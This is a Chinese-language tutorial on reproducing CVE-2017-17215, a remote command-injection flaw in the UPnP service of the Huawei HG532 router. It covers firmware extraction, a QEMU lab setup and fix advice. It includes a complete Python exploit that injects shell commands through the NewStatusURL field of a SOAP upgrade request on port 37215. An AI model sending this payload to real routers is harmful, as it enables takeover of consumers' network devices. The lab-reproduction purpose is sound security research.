CVE-2017-17215 华为HG532路由器RCE漏洞复现
字数 1113 2025-11-27 14:53:15

CVE-2017-17215 华为HG532路由器RCE漏洞复现教程

漏洞概述

CVE-2017-17215是CheckPoint团队披露的华为HG532路由器远程命令执行(RCE)漏洞。该漏洞存在于设备的UPnP服务中,允许攻击者通过构造特殊的数据包在设备上执行任意命令。

漏洞基本信息

  • 漏洞类型: 远程命令执行(RCE)
  • 影响设备: 华为HG532路由器
  • 固件版本: V100R001C02B015
  • 漏洞服务: UPnP服务(端口37215)
  • 漏洞文件: /bin/upnp二进制文件
  • 漏洞披露: CheckPoint研究报告

漏洞分析

漏洞位置

漏洞存在于/bin/upnp二进制文件的sub_407B20函数中。

漏洞原理

  1. 设备支持名为DeviceUpgrade的服务类型,可通过向/ctrlt/DeviceUpgrade_1地址提交请求执行固件升级操作
  2. 攻击者可以向37215端口发送特制数据包,利用UPnP协议服务
  3. NewStatusURLNewDownloadURL标签中注入任意命令
  4. snprintf函数将标签内容写入字符串变量
  5. system函数执行该字符串变量中的内容,导致命令注入

环境准备

所需工具

  1. QEMU模拟器
  2. MIPS架构内核和镜像文件:
    • vmlinux-2.6.32-5-4kc-malta (内核)
    • debian_squeeze_mips_standard.qcow2 (镜像)
  3. 固件文件: HG532eV100R001C02B015_upgrade_main.bin
  4. 固件解压工具:
    • binwalk
    • sasquatch

QEMU环境配置

  1. 下载所需文件:

    wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
    wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
    
  2. 创建启动脚本start.sh:

    #!/bin/bash
    sudo qemu-system-mips \
        -M malta -kernel vmlinux-2.6.32-5-4kc-malta \
        -hda debian_squeeze_mips_standard.qcow2 \
        -append "root=/dev/sda1 console=tty0" \
        -net nic -net tap,ifname=tap0,script=no,downscript=no \
        -nographic
    
  3. 赋予执行权限并启动:

    chmod +x start.sh
    ./start.sh
    
  4. 登录QEMU虚拟机(默认账号密码均为root)

  5. 配置网络:

    nano /etc/network/interfaces
    

    修改内容为:

    auto eth1
    iface eth1 inet dhcp
    

    然后启用网卡:

    ifup eth1
    ip addr
    

漏洞复现步骤

1. 提取固件

使用binwalk提取固件:

binwalk -Me HG532eV100R001C02B015_upgrade_main.bin

2. 传输文件到QEMU

将提取的squashfs-root目录传输到QEMU虚拟机:

scp -r squashfs-root root@<qemu-ip>:~/

3. 启动漏洞服务

在QEMU虚拟机中:

chroot squashfs-root sh
cd /bin
./mic

4. 验证端口开放

在主机上验证37215端口是否开放:

nc -vv <qemu-ip> 37215

5. 构造并发送EXP

使用Python构造EXP并发送:

import socket

target_ip = "192.168.52.141"  # 替换为QEMU虚拟机IP
target_port = 37215

# 构造恶意UPnP请求
payload = (
    '<?xml version="1.0"?>\n'
    '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" '
    'SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\n'
    '<SOAP-ENV:Body>\n'
    '<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">\n'
    '<NewStatusURL>$(COMMAND)</NewStatusURL>\n'
    '<NewDownloadURL>$(echo vulnerable)</NewDownloadURL>\n'
    '</u:Upgrade>\n'
    '</SOAP-ENV:Body>\n'
    '</SOAP-ENV:Envelope>\n'
)

# 替换COMMAND为要执行的命令
command = "ls /"
exploit = payload.replace("$(COMMAND)", f"$({command})")

# 发送恶意请求
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(exploit.encode())
sock.close()

漏洞验证

成功执行EXP后,可以在运行./mic的终端中看到命令执行结果。虽然EXP窗口不会直接显示输出,但命令确实已在目标系统上执行。

修复建议

  1. 升级到华为官方发布的最新固件版本
  2. 禁用不必要的UPnP服务
  3. 配置防火墙规则限制对37215端口的访问

参考资源

  1. CheckPoint漏洞报告
  2. 固件下载
  3. QEMU镜像下载
CVE-2017-17215 华为HG532路由器RCE漏洞复现教程 漏洞概述 CVE-2017-17215是CheckPoint团队披露的华为HG532路由器远程命令执行(RCE)漏洞。该漏洞存在于设备的UPnP服务中,允许攻击者通过构造特殊的数据包在设备上执行任意命令。 漏洞基本信息 漏洞类型 : 远程命令执行(RCE) 影响设备 : 华为HG532路由器 固件版本 : V100R001C02B015 漏洞服务 : UPnP服务(端口37215) 漏洞文件 : /bin/upnp 二进制文件 漏洞披露 : CheckPoint研究报告 漏洞分析 漏洞位置 漏洞存在于 /bin/upnp 二进制文件的 sub_407B20 函数中。 漏洞原理 设备支持名为 DeviceUpgrade 的服务类型,可通过向 /ctrlt/DeviceUpgrade_1 地址提交请求执行固件升级操作 攻击者可以向37215端口发送特制数据包,利用UPnP协议服务 在 NewStatusURL 或 NewDownloadURL 标签中注入任意命令 snprintf 函数将标签内容写入字符串变量 system 函数执行该字符串变量中的内容,导致命令注入 环境准备 所需工具 QEMU模拟器 MIPS架构内核和镜像文件: vmlinux-2.6.32-5-4kc-malta (内核) debian_squeeze_mips_standard.qcow2 (镜像) 固件文件: HG532eV100R001C02B015_upgrade_main.bin 固件解压工具: binwalk sasquatch QEMU环境配置 下载所需文件: 创建启动脚本 start.sh : 赋予执行权限并启动: 登录QEMU虚拟机(默认账号密码均为root) 配置网络: 修改内容为: 然后启用网卡: 漏洞复现步骤 1. 提取固件 使用binwalk提取固件: 2. 传输文件到QEMU 将提取的 squashfs-root 目录传输到QEMU虚拟机: 3. 启动漏洞服务 在QEMU虚拟机中: 4. 验证端口开放 在主机上验证37215端口是否开放: 5. 构造并发送EXP 使用Python构造EXP并发送: 漏洞验证 成功执行EXP后,可以在运行 ./mic 的终端中看到命令执行结果。虽然EXP窗口不会直接显示输出,但命令确实已在目标系统上执行。 修复建议 升级到华为官方发布的最新固件版本 禁用不必要的UPnP服务 配置防火墙规则限制对37215端口的访问 参考资源 CheckPoint漏洞报告 固件下载 QEMU镜像下载